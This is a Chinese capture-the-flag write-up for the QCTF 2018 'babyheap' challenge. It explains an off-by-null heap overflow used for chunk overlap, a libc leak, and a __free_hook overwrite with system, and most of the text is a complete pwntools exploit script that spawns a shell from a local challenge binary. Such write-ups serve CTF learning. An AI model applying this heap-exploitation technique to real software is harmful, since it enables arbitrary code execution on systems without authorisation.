XCTF 4th-QCTF-2018 babyheap

这几天做pwn题做的很恶心了,,等下个星期想去继续肝内核pwn。。

先看一下这个题目的保护

基本该有的保护都有了

然后先看一下这个题   ida里面分析

 发现了 程序没有给我们堆块修改的功能 这里可以通过 堆块合并 /重叠  然后申请达到修改堆块还有泄露堆块的目的

这里我们发现了   off by null

然后这里的思路 exp 来源于

https://www.xctf.org.cn/library/details/8723e039db0164e2f7345a12d2edd2a5e800adf7/

然后off by null的 利用思路就是堆块合并的时候   伪造一个大的堆块 然后 伪造一个  堆块头 

create(0x100-8,'A'*0x20+'\n')#0
create(0x650-8,'B'*0x5f0+p64(0x600)+p64(0x50)+'\n')#1
create(0x500,'C'*0x20+'\n')#2
create(0x100,'D'*0x20+'\n')#3

然后我们

delete(0)
delete(1)

这个时候 2的  prev_size 也就变成了 0x650

然后 我们

create(0x100-8,'A'*0xf8+'\n')#0
create(0x500-8,'E'*0x10+'\n')#1
create(0x100-8,'F'*0x10+'\n')#4

这里的申请0  就把  0x650 变成了 0x600

然后 然后申请了  1 4 正好把600给申请完  但是这里  的 prev_size 并没变 (紧紧挨着的  伪造的chunks状态没有发生变化)

如果在 dele1 2 那么 就会引发堆块合并

如果这里在 申请0x500的空间

create(0x500-8,'G'*0x10+'\n')#1
show()
#gdb.attach(s)
#pause()
s.recvuntil('4 : ')
libc = u64(s.recv(6)+'\x00'*2)#-0x3ebca0

那么就可以泄露基址了  而且 如果在申请0x100的空间 unsortbin 会切0x100  那么  就会引发重叠  

那么就可以把system的地址写入 hook_free  可以直接拿shell

#coding:utf-8
from pwn import *
context.log_level='debug'
debug=1
if debug:
    s=process('./timu')
else:
    s=remote('',)
libcs=ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
def create(size,pay):
    s.recvuntil('Your choice :')
    s.sendline('1')
    s.recvuntil('Size:')
    s.sendline(str(size))
    s.recvuntil('Data:')
    s.send(pay)

def delete(idx):
    s.recvuntil('Your choice :')
    s.sendline('2')
    s.recvuntil('Index')
    s.sendline(str(idx))
def show():
        s.recvuntil('Your choice :')
        s.sendline('3')

create(0x100-8,'A'*0x20+'\n')#0
create(0x650-8,'B'*0x5f0+p64(0x600)+p64(0x50)+'\n')#1
create(0x500,'C'*0x20+'\n')#2
create(0x100,'D'*0x20+'\n')#3
delete(0)
delete(1)
create(0x100-8,'A'*0xf8+'\n')#0
create(0x500-8,'E'*0x10+'\n')#1
create(0x100-8,'F'*0x10+'\n')#4
#gdb.attach(s)
#pause()
delete(1)
#gdb.attach(s)
#pause()
delete(2)
#gdb.attach(s)
#pause()
create(0x500-8,'G'*0x10+'\n')#1
show()
#gdb.attach(s)
#pause()
s.recvuntil('4 : ')
libc = u64(s.recv(6)+'\x00'*2)#-0x3ebca0
print hex(libc)
libc=libc-0x1b7ca0
print hex(libc)
#gdb.attach(s)
#pause()
create(0x100-8,'H'*0x10+'\n')#2
#gdb.attach(s)
#pause()
delete(4)
delete(2)
create(0x100-8,p64(libc+0x1b98E8)+'\n')
create(0x100-8,p64(libc+0x1b98E8)+'\n')
#gdb.attach(s)
#pause()
create(0x100-8,p64(libc+libcs.sym['system'])+'\n')
#gdb.attach(s)
#pause()
create(0x200-8,'/bin/sh\x00'+'\n')#6
delete(6)
s.interactive()

参考链接

https://www.xctf.org.cn/library/details/8723e039db0164e2f7345a12d2edd2a5e800adf7/

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值